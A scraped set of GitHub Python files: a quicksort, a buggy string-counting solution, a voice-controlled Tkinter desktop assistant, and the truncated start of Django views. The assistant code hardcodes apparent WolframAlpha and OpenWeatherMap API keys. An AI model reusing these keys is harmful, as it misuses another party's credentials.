< a[start]:\n last += 1\n a[last], a[i] = a[i], a[last]\n a[start], a[last] = a[last], a[start]\n return last\n\n\ndef _quicksort(a: list[float], start: int, stop: int) -> None:\n n = stop - start\n if n <= 1:\n return\n\n p = partition(a, start, stop)\n _quicksort(a, start, p)\n _quicksort(a, p + 1, stop)\n\n\ndef quicksort(a: list[float]) -> list[float]:\n _quicksort(a, 0, len(a))\n return a\n\n\ndef test10():\n a = [random.randrange(0, 10) for _ in range(10)]\n quicksort(a)\n assert a == sorted(a)\n\n\nif __name__ == '__main__':\n a: list[float] = [random.randrange(0, 10) for _ in range(10)]\n print('before sort:')\n print(a)\n quicksort(a)\n print('after sort:')\n print(a)\n","repo_name":"bravmi/algo","sub_path":"algo/quicksort/quicksort2.py","file_name":"quicksort2.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"31898747838","text":"# Databricks Summer intern 2024 app\n# count interesting strings\n# string is interesting if it has substring of len n of the same letter\n# no continuation (n = 3, aaaa is not valid)\ndef solution(words, n):\n count = 0\n for word in word:\n count += int(interesting(word, n))\n return count\n\ndef interesting(word, n):\n word = '*' + word + '*'\n for i in range(1, len(word) - n + 1):\n sub = word[i:i+n]\n if len(set([letter for letter in sub])) == 1 and word[i - 1] != sub[0] and word[i+n] != sub[0]:\n return True\n return False","repo_name":"kahuku/competitive_programming","sub_path":"codesignal/interesting_strings.py","file_name":"interesting_strings.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3727451242","text":"'''\r\n Project Cypher - Desktop Assistant with Voice Integration\r\n\r\n * @Filename : AssistantCypher.py\r\n * @author : Team Cypher (Pradyumn Joshi, Milind Dalakoti, Mukul Manav)\r\n * @brief : A desktop assistant which eases user's day-to-day job. A minor project which is converted now to a major project in version 2.0\r\n * @Timeline : October 2021 - April 2022\r\n * @version : 2.0.0\r\n\r\n (C) All Rights Reserved 2022 - Team Cypher\r\n'''\r\n\r\n#Importing libraries\r\n#GUI Libraries\r\nfrom base64 import standard_b64decode\r\nfrom tkinter import *\r\nimport tkinter\r\nimport customtkinter\r\nfrom PIL import ImageTk, Image\r\nfrom tkinter import Canvas\r\nfrom cv2 import split\r\n\r\n#Backend Libraries\r\nimport speech_recognition as sr\r\nimport pyttsx3\r\nimport datetime\r\nimport wikipedia\r\nimport webbrowser\r\nimport os\r\nimport time\r\nimport subprocess\r\nimport wolframalpha\r\nimport json\r\nimport requests\r\nimport ctypes\r\nimport pyautogui\r\nimport sounddevice as sd\r\nfrom scipy.io.wavfile import write\r\nimport datetime\r\nimport random\r\nimport cv2 \r\nimport pytesseract\r\nfrom PIL import Image\r\nimport numpy as np\r\nimport winshell\r\nimport pandas as pd\r\nfrom googlesearch import search\r\nimport tweepy\r\nfrom screen_recorder_sdk import screen_recorder\r\nfrom config.definitions import ROOT_DIR\r\n\r\n#GUI Objects Initialization\r\ncustomtkinter.set_appearance_mode(\"System\") # Modes: system (default), light, dark\r\ncustomtkinter.set_default_color_theme(\"dark-blue\") # Themes: blue (default), dark-blue, green\r\nroot_tk = customtkinter.CTk() # create CTk window like you do with the Tk window\r\nroot_tk.geometry(\"450x600\")\r\nroot_tk.title(\"Cypher\")\r\n\r\n#TTS Objects Initialization\r\nengine=pyttsx3.init('sapi5')\r\nvoices=engine.getProperty('voices')\r\nprint(voices)\r\nengine.setProperty('voice',voices[1].id)\r\n#chrome_path = 'C:\\Program Files\\Google\\Chrome\\Application\\chrome %s'\r\n\r\n\r\ndef speak(text):\r\n '''\r\n When called will traslate text to speech\r\n \r\n Args:\r\n text(str) : text to be translated\r\n '''\r\n engine.say(text)\r\n engine.runAndWait()\r\n\r\ndef takeCommand():\r\n '''\r\n takes command whenever user input needed\r\n\r\n Returns:\r\n (string):statement : user input\r\n '''\r\n\r\n #print(\"Listening...\")\r\n ChatHistory.config(state=NORMAL)\r\n ChatHistory.insert('end', \"Bot: Listening.... \\n\")\r\n ChatHistory.config(state=DISABLED)\r\n r=sr.Recognizer()\r\n with sr.Microphone() as source:\r\n print(\"Listening...\")\r\n audio=r.listen(source) \r\n try:\r\n statement=r.recognize_google(audio,language='en-in') \r\n ChatHistory.config(state=NORMAL)\r\n ChatHistory.insert('end', \"User: \"+statement+\"\\n\")\r\n ChatHistory.config(state=DISABLED)\r\n print(f\"user said:{statement}\\n\")\r\n\r\n except Exception as e:\r\n ChatHistory.config(state=NORMAL)\r\n ChatHistory.insert('end', \"User: Pardon me, I cannot understand \\n\")\r\n ChatHistory.config(state=DISABLED)\r\n print(\"Pardon me, I cannot understand\")\r\n return \"None\"\r\n\r\n return statement\r\n\r\n\r\ndef get_latest_image(dirpath, valid_extensions=('jpg','jpeg','png')):\r\n '''\r\n takes command whenever user input needed\r\n\r\n Args:\r\n dirpath(string) : path of directory\r\n\r\n Returns:\r\n (string):latest file name with its path\r\n '''\r\n\r\n # get filepaths of all files and dirs in the given dir\r\n valid_files = [os.path.join(dirpath, filename) for filename in os.listdir(dirpath)]\r\n # filter out directories, no-extension, and wrong extension files\r\n valid_files = [f for f in valid_files if '.' in f and \\\r\n f.rsplit('.',1)[-1] in valid_extensions and os.path.isfile(f)]\r\n\r\n if not valid_files:\r\n raise ValueError(\"No valid images in %s\" % dirpath)\r\n\r\n return max(valid_files, key=os.path.getmtime) \r\n\r\n\r\ndef f_help(f_obj):\r\n index_path= os.path.join(ROOT_DIR, 'website', 'index.html')\r\n webbrowser.get('windows-default').open(index_path)\r\n #speak(\"Please follow the link opened on webbrowser\")\r\n return \"Please follow the link opened on webbrowser\"\r\n\r\ndef f_greeting(f_obj):\r\n answers=['Hi','Holla','Namastee','Sasrikal','Hello','Bonjour','Olá']\r\n r_answer = random.choice(answers)\r\n #speak(r_answer)\r\n return r_answer\r\n\r\ndef f_greeting1(f_obj):\r\n answers=['I am good, thanks!', 'All good','Feeling better after hearing you','Doing just fine']\r\n r_answer = random.choice(answers)\r\n #speak(r_answer)\r\n return r_answer\r\n\r\ndef f_introduction(f_obj):\r\n #speak('I am Cypher version 2.O your persoanl desktop assistant. I am programmed to minor tasks like'\r\n # 'opening youtube,google chrome, etc')\r\n return (\"I am Cypher version 2.O your persoanl desktop assistant. I am programmed to minor tasks like opening youtube,google chrome, etc\")\r\n\r\ndef f_aknowledgement(f_obj):\r\n #speak(\"I was built by Team Cypher\")\r\n return \"I was built by Team Cypher\"\r\n\r\ndef f_website(f_obj):\r\n index_path= os.path.join(ROOT_DIR, 'website', 'index.html')\r\n webbrowser.get('windows-default').open(index_path)\r\n return 'Opened Cypher Website'\r\n\r\ndef f_time(f_obj):\r\n strTime=datetime.datetime.now().strftime(\"%H:%M:%S\")\r\n #speak(f\"the time is {strTime}\")\r\n return f\"the time is {strTime}\"\r\n\r\ndef f_youtube(f_obj):\r\n webbrowser.get('windows-default').open(\"https://www.youtube.com\")\r\n #speak(\"Opening Youtube\")\r\n return 'Opened Youtube'\r\n\r\ndef f_browser(f_obj):\r\n webbrowser.get('windows-default').open(\"https://www.google.com\")\r\n #speak(\"Opening Google Chrome\")\r\n return 'Opened Google'\r\n\r\ndef f_gmail(f_obj):\r\n webbrowser.get('windows-default').open(\"https://mail.google.com/mail/u/0/#inbox\")\r\n #speak(\"Opening GMail\")\r\n return \"Opened GMail\"\r\n\r\ndef f_vscode(f_obj):\r\n subprocess.Popen(\"D:\\\\ProgramFiles\\\\VSCode\\\\Microsoft VS Code\\\\Code.exe\")\r\n return \"Opened VS Code\"\r\n\r\ndef f_classroom(f_obj):\r\n webbrowser.get('windows-default').open(\"https://classroom.google.com/u/2/h\")\r\n #speak(\"Opening Google Classroom\")\r\n return \"Opened Classroom\"\r\n\r\ndef f_netflix(f_obj):\r\n webbrowser.get('windows-default').open(\"https://www.netflix.com/browse\") \r\n #speak(\"Opening Netflix\")\r\n return \"Opened Netflix\"\r\n\r\ndef f_stackoverflow(f_obj):\r\n webbrowser.get('windows-default').open(\"https://stackoverflow.com/login\")\r\n #speak(\"Opened Stackoverflow\")\r\n return \"Opened Stackoverflow\"\r\n\r\ndef f_hackerrank(f_obj):\r\n webbrowser.get('windows-default').open(\"https://www.hackerrank.com/dashboard\")\r\n #speak(\"Opened Hackerrank, Enjoy Solving Problems! \\n All the best\")\r\n return \"Opened Hackerrank, Enjoy Solving Problems! \\n All the best\"\r\n\r\ndef f_github(f_obj):\r\n webbrowser.get('windows-default').open(\"https://github.com/\")\r\n #speak(\"Opened Github, Build software better and together. \")\r\n return \"Opened Github, Build software better and together.\"\r\n\r\ndef f_twitter(f_obj):\r\n webbrowser.get('windows-default').open(\"https://twitter.com/\")\r\n #speak(\"Opened Twitter\")\r\n return \"Opened Twitter\"\r\n\r\ndef f_music(f_obj):\r\n webbrowser.get('windows-default').open(\"https://open.spotify.com/\")\r\n return \"Opened Spotify on webbrowser\"\r\n\r\ndef f_text(f_obj):\r\n f_screenshot(f_obj)\r\n path=get_latest_image(\"./screenshots\")\r\n img = cv2.imread(path)\r\n img=cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n img=cv2.threshold( img, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)[1]\r\n img=cv2.medianBlur(img, 5)\r\n pytesseract.pytesseract.tesseract_cmd =r'D:\\ProgramFiles\\pytess\\tesseract.exe'\r\n text = pytesseract.image_to_string(img) \r\n print(text)\r\n return(text)\r\n\r\ndef f_object(f_obj):\r\n '''\r\n detects object in frame using screenshot function\r\n\r\n Returns:\r\n (string):Identified objects image\r\n '''\r\n ss=f_screenshot(f_obj)\r\n path=get_latest_image(\"./screenshots\")\r\n image = Image.open(path)\r\n div=image.size[0]/500\r\n path_coco = os.path.join(ROOT_DIR, 'yoloFolder', 'coco.names')\r\n path_weight = os.path.join(ROOT_DIR, 'yoloFolder', 'yolov3.weights')\r\n path_cfg = os.path.join(ROOT_DIR, 'yoloFolder', 'yolov3.cfg')\r\n path_img = os.path.join(ROOT_DIR, 'yoloFolder', 'yolov3.cfg')\r\n resized_image = image.resize((round(image.size[0]/div),round(image.size[1]/div)))\r\n resized_image.save('C:\\\\Users\\milin\\\\Desktop\\\\Cypher\\\\yoloFolder\\\\images\\\\na.png')\r\n classes_names=['person','bicycle','car','motorbike','aeroplane','bus','train','truck','boat','traffic light','fire hydrant','stop sign','parking meter','bench','bird','cat','dog','horse','sheep','cow','elephant','bear','zebra','giraffe','backpack','umbrella','handbag','tie','suitcase','frisbee','skis','snowboard','sports ball','kite','baseball bat','baseball glove','skateboard','surfboard','tennis racket','bottle','wine glass','cup','fork','knife','spoon','bowl','banana','apple','sandwich','orange','broccoli','carrot','hot dog','pizza','donut','cake','chair','sofa','pottedplant','bed','diningtable','toilet','tvmonitor','laptop','mouse','remote','keyboard','cell phone','microwave','oven','toaster','sink','refrigerator','book','clock','vase','scissors','teddy bear','hair drier','toothbrush']\r\n model=cv2.dnn.readNet(path_weight,path_cfg)\r\n layer_names = model.getLayerNames()\r\n output_layers=[layer_names[i-1]for i in model.getUnconnectedOutLayers()]\r\n image=cv2.imread('C:\\\\Users\\milin\\\\Desktop\\\\Cypher\\\\yoloFolder\\\\images\\\\na.png')\r\n height, width, channels = image.shape\r\n blob=cv2.dnn.blobFromImage(image, 0.00392, (416,416), (0,0,0), True, crop=False)\r\n model.setInput(blob)\r\n outputs= model.forward(output_layers)\r\n class_ids = []\r\n confidences = []\r\n boxes = []\r\n for output in outputs:\r\n for identi in output:\r\n scores = identi[5:]\r\n class_id = np.argmax(scores)\r\n confidence = scores[class_id]\r\n if confidence > 0.8:\r\n # Object detected\r\n centerx = int(identi[0] * width)\r\n centery = int(identi[1] * height)\r\n w = int(identi[2] * width)\r\n h = int(identi[3] * height)\r\n # Rectangle coordinates\r\n x = int(centerx - w / 2)\r\n y = int(centery - h / 2)\r\n boxes.append([x, y, w, h])\r\n confidences.append(float(confidence))\r\n class_ids.append(class_id)\r\n\r\n indexes = cv2.dnn.NMSBoxes(boxes, confidences, 0.5, 0.4)\r\n font = cv2.FONT_HERSHEY_COMPLEX\r\n colors = np.random.uniform(0, 255, size=(len(classes_names), 3))\r\n for i in range(len(boxes)):\r\n if i in indexes:\r\n x, y, w, h = boxes[i]\r\n confidence = str(\"{:.2f}\".format(confidences[i]))\r\n label = str(classes_names[class_ids[i]]+confidence)\r\n color = colors[i]\r\n\r\n cv2.rectangle(image, (x, y), (x + w, y + h), color, 1)\r\n cv2.putText(image, label,(x, y + 20), font, 1, color, 2)\r\n\r\n cv2.imshow(\"Image\",image)\r\n cv2.waitKey(0)\r\n cv2.destroyAllWindows()\r\n return \"image is saved\" \r\n\r\ndef f_news(f_obj):\r\n news = webbrowser.get('windows-default').open(\"https://timesofindia.indiatimes.com/home/headlines\")\r\n speak('Here are some headlines from the Times of India,Happy reading')\r\n return \"News is displayed on browser\"\r\n\r\ndef f_google(f_obj):\r\n query=f_obj\r\n for url in search(query, tld=\"co.in\", num=1, stop = 1, pause = 2):\r\n webbrowser.open(\"https://google.com/search?q=%s\" % query)\r\n \r\n #speak(\"Check webbrowser for result\")\r\n return \"Check webbrowser for result\"\r\n\r\ndef f_question(f_obj):\r\n #speak('I can answer to computational and geographical questions and what question do you want to ask now')\r\n question=f_obj\r\n app_id=\"R2K75H-7ELALHR35X\"\r\n client = wolframalpha.Client('R2K75H-7ELALHR35X')\r\n res = client.query(question)\r\n answer = next(res.results).text\r\n #speak(answer)\r\n return answer \r\n\r\ndef f_weather(f_obj):\r\n api_key=\"8ef61edcf1c576d65d836254e11ea420\"\r\n base_url=\"https://api.openweathermap.org/data/2.5/weather?\"\r\n #speak(\"What city are you looking for!\")\r\n city_name=f_obj\r\n complete_url=base_url+\"appid=\"+api_key+\"&q=\"+city_name\r\n response = requests.get(complete_url)\r\n x=response.json()\r\n if x[\"cod\"]!=\"404\":\r\n y=x[\"main\"]\r\n current_temperature = y[\"temp\"]\r\n current_temperature=round(current_temperature-273.15)\r\n current_humidity = y[\"humidity\"]\r\n z = x[\"weather\"]\r\n weather_description = z[0][\"description\"]\r\n #speak(\"Temperature is \"+str(current_temperature)+\"Celcius and humidity is\"+\r\n # str(current_humidity)+\"in\"+city_name)\r\n return(\" Temperature in kelvin unit = \" +\r\n str(current_temperature) +\r\n \"\\n humidity (in percentage) = \" +\r\n str(current_humidity) +\r\n \"\\n description = \" +\r\n str(weather_description)+ \" in \"+city_name)\r\n\r\n else:\r\n #speak(\"City Not Found\")\r\n return(\"City Not Found\")\r\n\r\ndef f_study_profile(f_obj):\r\n '''\r\n user profile function \r\n\r\n Args:\r\n a_profile : Type of user profile\r\n\r\n Returns:\r\n (string):User Profile Activated\r\n '''\r\n webbrowser.get('windows-default').open(\"https://mail.google.com/mail/u/0/#inbox\")\r\n webbrowser.get('windows-default').open(\"https://stackoverflow.com/login\")\r\n subprocess.Popen(\"D:\\\\ProgramFiles\\\\VSCode\\\\Microsoft VS Code\\\\Code.exe\")\r\n webbrowser.get('windows-default').open(\"https://www.hackerrank.com/dashboard\")\r\n webbrowser.get('windows-default').open(\"https://classroom.google.com/u/2/h\")\r\n subprocess.Popen(\"C:\\\\Users\\\\milin\\\\AppData\\\\Local\\\\Discord\\\\Update.exe --processStart Discord.exe\")\r\n #speak(\"Started Profile Study, All the best Studying!\")\r\n return \"Started Profile Study, All the best Studying!\"\r\n\r\ndef f_enjoy_profile(f_obj):\r\n webbrowser.get('windows-default').open(\"https://www.youtube.com\")\r\n webbrowser.get('windows-default').open(\"https://open.spotify.com/\")\r\n webbrowser.get('windows-default').open(\"https://www.netflix.com/browse\") \r\n subprocess.Popen(\"C:\\\\Users\\\\milin\\\\AppData\\\\Local\\\\Discord\\\\Update.exe --processStart Discord.exe\")\r\n #speak(\"Started Profile Chill! Enjoy Sir!\")\r\n return \"Started Profile Chill! Enjoy Sir!\"\r\n\r\ndef f_game_profile(f_obj):\r\n #subprocess.Popen(\"E:\\\\Program Files\\\\Valorant\\\\Riot Games\\\\Riot Client\\\\RiotClientServices.exe\")\r\n subprocess.Popen(\"C:\\\\Users\\\\milin\\\\AppData\\\\Local\\\\Discord\\\\Update.exe --processStart Discord.exe\")\r\n #speak(\"Started Profile Game! Enjoy Gaming, dont mald!\")\r\n return \"Started Profile Game! Enjoy Gaming, dont mald!\"\r\n\r\n\r\ndef f_camera(f_obj):\r\n camera = cv2.VideoCapture(0)\r\n while(True):\r\n if not camera.isOpened():\r\n print('Unable to load camera.')\r\n else:\r\n return_value, image = camera.read()\r\n cv2.imshow(\"live feed\",image)\r\n if cv2.waitKey(1) & 0xFF == ord(' '):\r\n d=datetime.datetime.now()\r\n a = str(d.date())\r\n b=str(datetime.datetime.now().strftime(\"%H-%M\"))\r\n cv2.imwrite(\"./captures/\"+a+\"_\"+b+\".jpg\", image)\r\n cv2.destroyWindow(\"live feed\")\r\n cv2.imshow(\"img\", image)\r\n cv2.waitKey(0)\r\n break\r\n \r\n camera.release()\r\n cv2.destroyAllWindows()\r\n #speak(\"Clicked you picture, saved in captures folder\")\r\n return \"Clicked you picture, saved in captures folder\"\r\n#check\r\ndef f_recycle(f_obj):\r\n try:\r\n winshell.recycle_bin().empty(confirm=False, show_progress=False, sound=False)\r\n return \"Emptied Recycle Bin\"\r\n except:\r\n return \"Recycle Bin already empty\"\r\n \r\n\r\ndef f_joke(f_obj):\r\n data = pd.read_csv(\"./files/jokes1.csv\")\r\n jok=random.choice(data[\"Joke\"])\r\n #speak(jok)\r\n return jok \r\n\r\ndef f_background(f_obj):\r\n webbrowser.get('windows-default').open(\"https://www.pexels.com/\")\r\n #speak(\"The best place to get good backgrounds is opened in browser\")\r\n return \"The best place to get good backgrounds is opened in browser\"\r\n\r\ndef f_note1(f_obj):\r\n file = open('notes.txt', 'w')\r\n file.write(f_obj)\r\n return \"written note\"\r\n\r\ndef f_note2(f_obj):\r\n #speak(\"Showing Notes\")\r\n file = open(\"notes.txt\", \"r\")\r\n #speak(file.read(6))\r\n return (file.read())\r\n\r\ndef f_screenshot(f_obj):\r\n im = pyautogui.screenshot()\r\n d=datetime.datetime.now()\r\n a = str(d.date())\r\n b=str(datetime.datetime.now().strftime(\"%H-%M\"))\r\n if os.path.exists('./screenshots')==False:\r\n os.mkdir(\"screenshots\")\r\n im.save(\"./screenshots/\"+a+\"_\"+b+\".jpg\")\r\n #return \"./screenshots/\"+a+\"_\"+b+\".jpg\"\r\n #speak(\"Screenshot Taken\")\r\n return ('screenshot is saved in screenshots folder')\r\n\r\ndef f_screen(f_obj):\r\n '''\r\n Records screen for particular time period\r\n\r\n Args:\r\n seconds(int) : time in seconds\r\n\r\n Returns:\r\n (string):Screen Recording\r\n '''\r\n d=datetime.datetime.now()\r\n a = str(d.date())\r\n b=str(datetime.datetime.now().strftime(\"%H-%M\"))\r\n seconds = int(f_obj)\r\n screen_recorder.enable_dev_log ()\r\n params = screen_recorder.RecorderParams ()\r\n screen_recorder.init_resources (params)\r\n #screen_recorder.get_screenshot (5).save (\"./screen_Recordings/\"+a+\"_\"+b+\".png\")\r\n #print('Screenshot taken')\r\n #print('Video Started')\r\n screen_recorder.start_video_recording(\"./screen_Recordings/\"+a+\"_\"+b+\".mp4\", 30, 8000000, True)\r\n time.sleep(seconds)\r\n screen_recorder.stop_video_recording()\r\n screen_recorder.free_resources()\r\n print('Video Stopped')\r\n return \"Screen Recorded and saved in screen_recordings folder\"\r\n\r\ndef f_audio(f_obj):\r\n freq = 44100\r\n #speak(\"Please specify the duration in seconds\")\r\n duration = int(f_obj)\r\n #speak(\"Recording Audio\")\r\n recording = sd.rec(int(duration * freq), samplerate=freq, channels=2) \r\n sd.wait()\r\n #speak(\"Audio Recorded\")\r\n d=datetime.datetime.now()\r\n a = str(d.date())\r\n b=str(datetime.datetime.now().strftime(\"%H-%M\"))\r\n if os.path.exists('./recordings')==False:\r\n os.mkdir(\"recordings\")\r\n write(\"./recordings/\"+a+\"_\"+b+\".wav\", freq, recording)\r\n return \"Audio is recorded and saved in recordings folder\"\r\n\r\ndef f_wiki(f_obj):\r\n #speak('Searching Wikipedia..')\r\n #f_obj =f_obj.replace(\"wikipedia\", \"\")\r\n results = wikipedia.summary(f_obj, sentences=3)\r\n #speak(\"According to Wikipedia\")\r\n #speak(results)\r\n return results\r\n\r\ndef f_lock(f_obj):\r\n #speak(\"locking the device\")\r\n ctypes.windll.user32.LockWorkStation()\r\n time.sleep(2)\r\n return \"Locking PC\"\r\n\r\ndef f_shutdown(f_obj):\r\n #speak(\"Ok , your pc will log off in 10 sec make sure you exit from all applications\")\r\n subprocess.call([\"shutdown\", \"/l\"])\r\n time.sleep(10)\r\n return \"Your pc will log off in 10 sec make sure you exit from all applications\" \r\n\r\ndef f_close(f_obj):\r\n #speak(\"Cypher is shutting down, Good Bye\")\r\n root_tk.destroy()\r\n return 'Cypher is shutting down,Good bye'\r\n\r\ndef f_clear(f_obj):\r\n ChatHistory.delete(\"1.0\",\"end\")\r\n return None\r\n\r\ndef f_commands(f_obj):\r\n if f_obj in [\"show commands\",\"help\",\"show command\"]:\r\n f_obj=\"commands\"\r\n \r\n elif f_obj in [\"hello\",\"hi\"] :\r\n f_obj=\"greetings1\"\r\n \r\n elif f_obj in [\"website\",\"about you\"]:\r\n f_obj=\"website\"\r\n\r\n else:\r\n f_obj=f_obj\r\n\r\n d_commands = {\r\n \"commands\" : f_help,\r\n \"greetings1\" : f_greeting,\r\n #\"greetings2\" : f_greeting1,\r\n #\"introduction\" : f_introduction,\r\n #\"aknowledgement\" : f_aknowledgement,\r\n \"website\" : f_website,\r\n \"time\" : f_time,\r\n \"open youtube\" : f_youtube,\r\n \"open browser\" : f_browser,\r\n \"open gmail\" : f_gmail,\r\n \"open vscode\" : f_vscode,\r\n \"open classroom\" : f_classroom,\r\n \"open netflix\" : f_netflix,\r\n \"open stackoverflow\" : f_stackoverflow,\r\n \"open hackerrank\" : f_hackerrank,\r\n \"open github\" : f_github,\r\n \"open twitter\" : f_twitter,\r\n \"play music\" : f_music,\r\n \"get text\" : f_text,\r\n \"get object\" : f_object,\r\n \"news\" : f_news,\r\n \"google\" : f_google,\r\n \"question\" : f_question,\r\n \"weather\" : f_weather,\r\n \"profile study\" : f_study_profile,\r\n \"profile enjoy\" : f_enjoy_profile,\r\n \"profile game\" : f_game_profile,\r\n \"click picture\" : f_camera,\r\n \"empty recycle bin\" : f_recycle,\r\n \"tell joke\" : f_joke,\r\n \"show backgrounds\" : f_background,\r\n #change the logic\r\n \"write note\" : f_note1,\r\n \"show note\" : f_note2,\r\n \"screenshot\" : f_screenshot,\r\n #\"record screen\" : f_screen,\r\n #\"record audio\" : f_audio,\r\n #\"wikipedia\" : f_wiki,\r\n \"lock window\" : f_lock,\r\n \"shutdown\" : f_shutdown,\r\n \"close\" : f_close,\r\n \"clear\" : f_clear,\r\n \"bye\" : f_close\r\n }\r\n ans=d_commands.get(f_obj,'not a command')\r\n print(ans)\r\n #print(ans(f_obj))\r\n return ans\r\n\r\n#a=f_commands(\"hi\")\r\n#print(a)\r\n\r\ndef getResponse(msg):\r\n statement = msg.lower()\r\n split_statement = statement.split()\r\n print(split_statement)\r\n if \"weather\" in split_statement[0]:\r\n statement = statement.replace(\"weather\", \"\")\r\n output = f_weather(statement)\r\n print(output)\r\n return output\r\n\r\n elif \"question\" in split_statement[0]:\r\n statement = statement.replace(\"question\", \"\")\r\n output = f_question(statement)\r\n print(output)\r\n return output\r\n\r\n elif \"google\" in split_statement[0]:\r\n statement = statement.replace(\"google\", \"\")\r\n output = f_google(statement)\r\n print(output)\r\n return output\r\n\r\n elif statement.lower() in [\"how are you\",\"how you doing\",\"how are you?\",\"wassup?\",\"wassup\"]:\r\n output = f_greeting1(statement)\r\n print(output)\r\n return output\r\n \r\n elif statement.lower() in ['who are you?','what can you do?','whats your name?','who are you','what can you do','whats your name']:\r\n output = f_introduction(statement)\r\n print(output)\r\n return output\r\n \r\n elif statement.lower() in [\"who made you\" ,\"who created you\" , \"who discovered you\",\"who made you?\" ,\"who created you?\" , \"who discovered you?\"]:\r\n output = f_aknowledgement(statement)\r\n print(output)\r\n return output\r\n\r\n elif \"record\" in split_statement[0]:\r\n if \"audio\" in split_statement[1]:\r\n output=f_audio(split_statement[2])\r\n print(output)\r\n return output\r\n else :\r\n output=f_screen(split_statement[2])\r\n print(output)\r\n return output\r\n\r\n elif \"wikipedia\" in split_statement[0]:\r\n statement = statement.replace(\"wikipedia\", \"\")\r\n output = f_wiki(statement)\r\n print(output)\r\n return output\r\n\r\n elif \"write note\" in statement:\r\n statement = statement.replace(\"write note\", \"\")\r\n output = f_note1(statement)\r\n print(output)\r\n return output\r\n\r\n else:\r\n answer = f_commands(statement)\r\n output = answer(statement)\r\n print(output)\r\n return output\r\n\r\ndef chatbot_response(msg):\r\n out = getResponse(msg)\r\n speak(out)\r\n #msg1 = \"Loading Cypher!\"\r\n return out\r\n\r\ndef send():\r\n msg = TextEntryBox.get(\"1.0\", 'end-1c').strip()\r\n TextEntryBox.delete('1.0', 'end')\r\n #!= ''\r\n if msg and msg.strip() :\r\n print(\"Not Null values\")\r\n ChatHistory.config(state=NORMAL)\r\n ChatHistory.insert('end', \"You: \" + msg + \"\\n\")\r\n \r\n res = chatbot_response(msg)\r\n ChatHistory.insert('end', \"Bot: \" + res+ \"\\n\")\r\n ChatHistory.config(state=DISABLED)\r\n ChatHistory.yview('end')\r\n else:\r\n ChatHistory.config(state=NORMAL)\r\n ChatHistory.insert('end', \"Bot: Listening... \\n\")\r\n ChatHistory.config(state=DISABLED)\r\n ChatHistory.yview('end')\r\n inpt = takeCommand()\r\n out = chatbot_response(inpt)\r\n ChatHistory.config(state=NORMAL)\r\n ChatHistory.insert('end', \"Bot: \" + out+ \"\\n\")\r\n ChatHistory.config(state=DISABLED)\r\n ChatHistory.yview('end')\r\n return out\r\n\r\n\r\n#:::::::::::::::::::::::::CHAT HISTORY::::::::::::::::::::::::::::::::::::::::::\r\nChatHistory = Text(root_tk,bd=0, bg='#141414',fg='white', font='Arial')\r\nChatHistory.config(state=DISABLED)\r\nChatHistory.place(height=395, width=445)\r\n#:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\r\n\r\n#logo = tkinter.PhotoImage(file=\"./logo.png\")\r\nimage = Image.open('logo.png')\r\n# The (450, 350) is (height, width)\r\nimage = image.resize((160, 100), Image.ANTIALIAS)\r\nmy_img = ImageTk.PhotoImage(image)\r\n\r\n\r\n\r\n# Use CTkButton instead of tkinter Button\r\nbutton = customtkinter.CTkButton(master=root_tk, text='', command=send, image=my_img, bg_color='#3b3b3b',fg_color = '#1b1a1b',height=90, width=160)\r\nbutton.place(relx=0.5, rely=0.9, anchor=tkinter.CENTER)\r\n\r\n#:::::::::::::::::::::::::::::TEXT FIELD::::::::::::::::::::::::::::::::::::::::\r\nTextEntryBox = Text(root_tk, bd=0, bg='#212121',fg='white', font='Arial')\r\nTextEntryBox.place(x=10, y=400, height=80, width=432)\r\n\r\n#::::::::::::::::::::::::LABEL::::::::::::::::::::::::::::::\r\nChatHistory.config(state=NORMAL)\r\nChatHistory.insert('end', \"Loading Cypher!! \\n\")\r\nChatHistory.config(state=DISABLED)\r\nChatHistory.yview('end')\r\n\r\ndef wishMe():\r\n '''\r\n Wishes user\r\n '''\r\n hour=datetime.datetime.now().hour\r\n if hour>=0 and hour<12:\r\n speak(\"Hello,Good Morning\")\r\n #print(\"Hello,Good Morning\")\r\n ChatHistory.config(state=NORMAL)\r\n ChatHistory.insert('end', \"Bot: \"+\"Hello,Good Morning!! \\n\")\r\n ChatHistory.config(state=DISABLED)\r\n ChatHistory.yview('end')\r\n elif hour>=12 and hour<18:\r\n speak(\"Hello,Good Afternoon\")\r\n print(\"Hello,Good Afternoon\")\r\n ChatHistory.config(state=NORMAL)\r\n ChatHistory.insert('end', \"Bot: \"+\"Hello,Good Afternoon!! \\n\")\r\n ChatHistory.config(state=DISABLED)\r\n ChatHistory.yview('end')\r\n else:\r\n speak(\"Hello,Good Evening\")\r\n #print(\"Hello,Good Evening\")\r\n ChatHistory.config(state=NORMAL)\r\n ChatHistory.insert('end', \"Bot: \"+\"Hello,Good Evening!! \\n\")\r\n ChatHistory.config(state=DISABLED)\r\n ChatHistory.yview('end')\r\n\r\ndef callback():\r\n wishMe()\r\n speak(\"To see commands ask show commands\")\r\n #print(\"Hey! How can I help you? \\n type help for commands\")\r\n ChatHistory.config(state=NORMAL)\r\n ChatHistory.insert('end', \"Hey! How can I help you? \\n type help for commands \\n\")\r\n ChatHistory.config(state=DISABLED)\r\n ChatHistory.yview('end')\r\n\r\n\r\nroot_tk.after_idle(callback)\r\nroot_tk.mainloop()\r\n ","repo_name":"Pradyumn10/Project_Cypher","sub_path":"CypherCode.py","file_name":"CypherCode.py","file_ext":"py","file_size_in_byte":26913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33825164437","text":"from django.http import HttpResponse\nfrom django.shortcuts import render\n\nfrom .forms import ContactForm, LoginForm\n\ndef home_page(request):\n context = {\n \"title\":\"Hello World!\", \n \"content\":\" Welcome to the homepage.\" \n }\n return render(request, \"home_page.html\", context)\n\ndef about_page(request):\n context = {\n \"title\":\"About World!\",\n \"content\":\" Welcome to the about page.\"\n }\n return render(request, \"home_page.html\", context)\n\ndef contact_page(request):\n contact_form = ContactForm(request.POST or None)\n context = {\n \"title\":\"Contact\", \n \"content\":\"Welcome to the contact page.\",\n \"form\": contact_form\n }\n if contact_form.is_valid():\n print(contact_form.cleaned_data)\n #if request.method == \"POST\":\n # print(request.POST)\n # 